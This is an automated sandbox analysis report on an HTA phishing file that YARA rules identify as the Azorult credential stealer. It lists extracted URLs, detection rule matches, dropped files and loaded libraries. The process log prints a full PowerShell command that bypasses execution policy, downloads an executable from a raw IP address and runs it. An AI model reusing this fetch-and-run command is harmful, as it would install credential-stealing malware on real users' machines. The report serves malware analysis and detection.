Source: svchost.exe, 00000003.00000003.1652667632.0000015B7E502000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.3.dr, edb.log.3.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.3.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.3.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.3.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000003.00000003.1652667632.0000015B7E502000.00000004.00000800.00020000.00000000.sdmp, edb.log.3.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: powershell.exe, 00000001.00000002.1675302087.0000000004A76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: Order160311_Reference.exe, 00000004.00000003.1781286419.0000000000779000.00000004.00000020.00020000.00000000.sdmp, Order160311_Reference.exe, 00000004.00000002.1781601184.0000000000779000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://go.mic
Source: powershell.exe, 00000001.00000002.1675302087.0000000004F35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: Order160311_Reference.exe, 00000004.00000003.1780655867.0000000003EA0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf
Source: Order160311_Reference.exe, 00000004.00000003.1736677272.0000000000781000.00000004.00000020.00020000.00000000.sdmp, Order160311_Reference.exe, 00000004.00000003.1737018339.0000000000781000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: Order160311_Reference.exe, 00000004.00000003.1781199402.00000000041E4000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfDt
Source: Order160311_Reference.exe, 00000004.00000003.1781286419.0000000000724000.00000004.00000020.00020000.00000000.sdmp, Order160311_Reference.exe, 00000004.00000002.1781601184.0000000000725000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf
Source: Order160311_Reference.exe, 00000004.00000003.1737018339.0000000000781000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf&lw=1&fl=wld2
Source: Order160311_Reference.exe, 00000004.00000003.1736725578.0000000000781000.00000004.00000020.00020000.00000000.sdmp, Order160311_Reference.exe, 00000004.00000003.1737018339.0000000000781000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf&lw=1&fl=wld255
Source: Order160311_Reference.exe, 00000004.00000003.1781222380.00000000020A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf8A
Source: Order160311_Reference.exe, 00000004.00000002.1781601184.0000000000725000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: Order160311_Reference.exe, 00000004.00000003.1736677272.0000000000781000.00000004.00000020.00020000.00000000.sdmp, Order160311_Reference.exe, 00000004.00000003.1737018339.0000000000781000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: Order160311_Reference.exe, 00000004.00000003.1781222380.00000000020A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfjfile://192.168.2.1/all/Professional2019Retail.img
Source: powershell.exe, 00000001.00000002.1677554643.000000000598D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: svchost.exe, 00000003.00000003.1652667632.0000015B7E502000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.3.dr, edb.log.3.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.3.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:
Source: Order160311_Reference.exe, 00000004.00000003.1781286419.0000000000779000.00000004.00000020.00020000.00000000.sdmp, Order160311_Reference.exe, 00000004.00000002.1781601184.0000000000779000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.microsoft.c
Source: Order160311_Reference.exe, 00000004.00000003.1781232905.00000000020AC000.00000004.00001000.00020000.00000000.sdmp, Order160311_Reference.exe, 00000004.00000002.1781663514.0000000000792000.00000004.00000020.00020000.00000000.sdmp, Order160311_Reference.exe, 00000004.00000003.1781222380.00000000020A0000.00000004.00001000.00020000.00000000.sdmp, Order160311_Reference.exe, 00000004.00000003.1781286419.0000000000779000.00000004.00000020.00020000.00000000.sdmp, Order160311_Reference.exe, 00000004.00000002.1781601184.0000000000779000.00000004.00000020.00020000.00000000.sdmp, Order160311_Reference.exe, 00000004.00000003.1737531385.000000000078E000.00000004.00000020.00020000.00000000.sdmp, Order160311_Reference.exe, 00000004.00000003.1737730227.000000000078B000.00000004.00000020.00020000.00000000.sdmp, Order160311_Reference.exe, 00000004.00000003.1781273035.000000000078C000.00000004.00000020.00020000.00000000.sdmp, Order160311_Reference.exe, 00000004.00000003.1739445525.00000000020A4000.00000004.00001000.00020000.00000000.sdmp, 53130462903731944722463.tmp.4.dr	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: 53130462903731944722463.tmp.4.dr	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: Order160311_Reference.exe, 00000004.00000003.1781286419.0000000000779000.00000004.00000020.00020000.00000000.sdmp, Order160311_Reference.exe, 00000004.00000002.1781601184.0000000000779000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a9
Source: Order160311_Reference.exe, 00000004.00000003.1781232905.00000000020AC000.00000004.00001000.00020000.00000000.sdmp, Order160311_Reference.exe, 00000004.00000003.1781222380.00000000020A0000.00000004.00001000.00020000.00000000.sdmp, Order160311_Reference.exe, 00000004.00000003.1781286419.0000000000779000.00000004.00000020.00020000.00000000.sdmp, Order160311_Reference.exe, 00000004.00000002.1781601184.0000000000779000.00000004.00000020.00020000.00000000.sdmp, Order160311_Reference.exe, 00000004.00000003.1737531385.000000000078E000.00000004.00000020.00020000.00000000.sdmp, Order160311_Reference.exe, 00000004.00000003.1737730227.000000000078B000.00000004.00000020.00020000.00000000.sdmp, Order160311_Reference.exe, 00000004.00000003.1781273035.000000000078C000.00000004.00000020.00020000.00000000.sdmp, Order160311_Reference.exe, 00000004.00000003.1739445525.00000000020A4000.00000004.00001000.00020000.00000000.sdmp, 53130462903731944722463.tmp.4.dr	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: 53130462903731944722463.tmp.4.dr	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: Order160311_Reference.exe, 00000004.00000003.1780655867.0000000003EA0000.00000004.00001000.00020000.00000000.sdmp, freebl3.dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3.dll.4.dr, nssdbm3.dll.4.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: Order160311_Reference.exe, 00000004.00000003.1737071004.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, 53130313988252185246271.tmp.4.dr, 5313015326551881017357.tmp.4.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: Order160311_Reference.exe, 00000004.00000003.1737071004.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, 53130313988252185246271.tmp.4.dr, 5313015326551881017357.tmp.4.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

System Summary

Malicious sample detected (through community Yara rule)

Source: dump.pcap, type: PCAP	Matched rule: Windows_Trojan_Azorult_38fce9ea Author: unknown
Source: dump.pcap, type: PCAP	Matched rule: detect Azorult in memory Author: JPCERT/CC Incident Response Group
Source: 00000004.00000002.1781460189.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Azorult_38fce9ea Author: unknown
Source: 00000004.00000002.1781460189.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, type: MEMORY	Matched rule: detect Azorult in memory Author: JPCERT/CC Incident Response Group
Source: 00000004.00000000.1672776757.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Azorult_38fce9ea Author: unknown
Source: 00000004.00000000.1672776757.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, type: MEMORY	Matched rule: detect Azorult in memory Author: JPCERT/CC Incident Response Group
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe, type: DROPPED	Matched rule: Windows_Trojan_Azorult_38fce9ea Author: unknown
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe, type: DROPPED	Matched rule: Azorult Payload Author: kevoreilly
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe, type: DROPPED	Matched rule: detect Azorult in memory Author: JPCERT/CC Incident Response Group

Powershell drops PE file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe

Jump to dropped file

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: api-ms-win-core-processthreads-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-heap-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-util-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-stdio-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-processenvironment-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-errorhandling-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-interlocked-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-synch-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-file-l2-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-console-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-timezone-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-synch-l1-2-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-locale-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-profile-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-handle-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-debug-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-string-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-localization-l1-2-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-utility-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-datetime-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-processthreads-l1-1-1.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-namedpipe-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-time-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-convert-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-math-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-multibyte-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-conio-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-string-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-heap-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-rtlsupport-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-file-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-runtime-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-file-l1-2-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-libraryloader-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-process-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-memory-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-sysinfo-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-private-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-environment-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-filesystem-l1-1-0.dll.4.dr	Static PE information: No import functions for PE file found

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Jump to behavior

Source: dump.pcap, type: PCAP	Matched rule: Windows_Trojan_Azorult_38fce9ea reference_sample = 405d1e6196dc5be1f46a1bd07c655d1d4b36c32f965d9a1b6d4859d3f9b84491, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Azorult, fingerprint = 0655018fc803469c6d89193b75b4967fd02400fae07364ffcd11d1bc6cbbe74a, id = 38fce9ea-a94e-49d3-8eef-96fe06ad27f8, last_modified = 2021-10-04
Source: dump.pcap, type: PCAP	Matched rule: Azorult author = JPCERT/CC Incident Response Group, description = detect Azorult in memory, rule_usage = memory scan, reference = internal research
Source: 00000004.00000002.1781460189.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Azorult_38fce9ea reference_sample = 405d1e6196dc5be1f46a1bd07c655d1d4b36c32f965d9a1b6d4859d3f9b84491, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Azorult, fingerprint = 0655018fc803469c6d89193b75b4967fd02400fae07364ffcd11d1bc6cbbe74a, id = 38fce9ea-a94e-49d3-8eef-96fe06ad27f8, last_modified = 2021-10-04
Source: 00000004.00000002.1781460189.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, type: MEMORY	Matched rule: Azorult author = JPCERT/CC Incident Response Group, description = detect Azorult in memory, rule_usage = memory scan, reference = internal research
Source: 00000004.00000000.1672776757.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Azorult_38fce9ea reference_sample = 405d1e6196dc5be1f46a1bd07c655d1d4b36c32f965d9a1b6d4859d3f9b84491, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Azorult, fingerprint = 0655018fc803469c6d89193b75b4967fd02400fae07364ffcd11d1bc6cbbe74a, id = 38fce9ea-a94e-49d3-8eef-96fe06ad27f8, last_modified = 2021-10-04
Source: 00000004.00000000.1672776757.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, type: MEMORY	Matched rule: Azorult author = JPCERT/CC Incident Response Group, description = detect Azorult in memory, rule_usage = memory scan, reference = internal research
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe, type: DROPPED	Matched rule: Windows_Trojan_Azorult_38fce9ea reference_sample = 405d1e6196dc5be1f46a1bd07c655d1d4b36c32f965d9a1b6d4859d3f9b84491, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Azorult, fingerprint = 0655018fc803469c6d89193b75b4967fd02400fae07364ffcd11d1bc6cbbe74a, id = 38fce9ea-a94e-49d3-8eef-96fe06ad27f8, last_modified = 2021-10-04
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe, type: DROPPED	Matched rule: Azorult_1 author = kevoreilly, description = Azorult Payload, cape_type = Azorult Payload
Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe, type: DROPPED	Matched rule: Azorult author = JPCERT/CC Incident Response Group, description = detect Azorult in memory, rule_usage = memory scan, reference = internal research

Source: classification engine

Classification label: mal100.phis.troj.spyw.evad.winHTA@7/62@1/3

Source: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Mutant created: \Sessions\1\BaseNamedObjects\AFA7A44E6-9414907A-8AD8678F-B410C867-6DCC3B27
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7404:120:WilError_03

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qtva2w4g.jnb.ps1

Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Order160311_Reference.exe, 00000004.00000003.1780655867.0000000003EA0000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.4.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: Order160311_Reference.exe, 00000004.00000003.1780655867.0000000003EA0000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.4.dr	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: Order160311_Reference.exe, 00000004.00000003.1780655867.0000000003EA0000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.4.dr	Binary or memory string: SELECT ALL %s FROM %s WHERE id=$ID;
Source: Order160311_Reference.exe, 00000004.00000003.1780655867.0000000003EA0000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.4.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: Order160311_Reference.exe, 00000004.00000003.1780655867.0000000003EA0000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.4.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: Order160311_Reference.exe, 00000004.00000003.1780655867.0000000003EA0000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.4.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: Order160311_Reference.exe, 00000004.00000003.1780655867.0000000003EA0000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.4.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: Order160311_Reference.exe, 00000004.00000003.1780655867.0000000003EA0000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.4.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: Order160311_Reference.exe, 00000004.00000003.1780655867.0000000003EA0000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.4.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: Order160311_Reference.exe, 00000004.00000003.1780655867.0000000003EA0000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.4.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: Order160311_Reference.exe, 00000004.00000003.1780655867.0000000003EA0000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.4.dr	Binary or memory string: SELECT ALL id FROM %s;
Source: Order160311_Reference.exe, 00000004.00000003.1780655867.0000000003EA0000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.4.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: Order160311_Reference.exe, 00000004.00000003.1780655867.0000000003EA0000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.4.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: Order160311_Reference.exe, 00000004.00000003.1780655867.0000000003EA0000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.4.dr	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: Order160311_Reference.exe, 00000004.00000003.1780655867.0000000003EA0000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.4.dr	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: Order160311_Reference.exe, 00000004.00000003.1780655867.0000000003EA0000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.4.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: Order160311_Reference.exe, 00000004.00000003.1780655867.0000000003EA0000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.4.dr	Binary or memory string: CREATE TABLE xx( name TEXT, /* Name of table or index / path TEXT, / Path to page from root / pageno INTEGER, / Page number / pagetype TEXT, / 'internal', 'leaf' or 'overflow' / ncell INTEGER, / Cells on page (0 for overflow) / payload INTEGER, / Bytes of payload on this page / unused INTEGER, / Bytes of unused space on this page / mx_payload INTEGER, / Largest payload size of all cells / pgoffset INTEGER, / Offset of page in file / pgsize INTEGER, / Size of the page / schema TEXT HIDDEN / Database schema being analyzed */);
Source: Order160311_Reference.exe, 00000004.00000003.1780655867.0000000003EA0000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.4.dr	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: Order160311_Reference.exe, 00000004.00000003.1780655867.0000000003EA0000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.4.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: Order160311_Reference.exe, 00000004.00000003.1736311076.0000000000787000.00000004.00000020.00020000.00000000.sdmp, 5312937642102943815192.tmp.4.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Order160311_Reference.hta	ReversingLabs: Detection: 15%
Source: Order160311_Reference.hta	Virustotal: Detection: 28%

Source: unknown	Process created: C:\Windows\SysWOW64\mshta.exe mshta.exe "C:\Users\user\Desktop\Order160311_Reference.hta"
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command Invoke-WebRequest -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe;Start-Process C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe "C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe"
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command Invoke-WebRequest -Uri http://217.160.121.141:8030/5643254657/Order-63729r.exe -OutFile C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe;Start-Process C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe "C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe"	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mshtml.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msimtf.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: jscript9.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dataexchange.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dcomp.dll	Jump to behavior
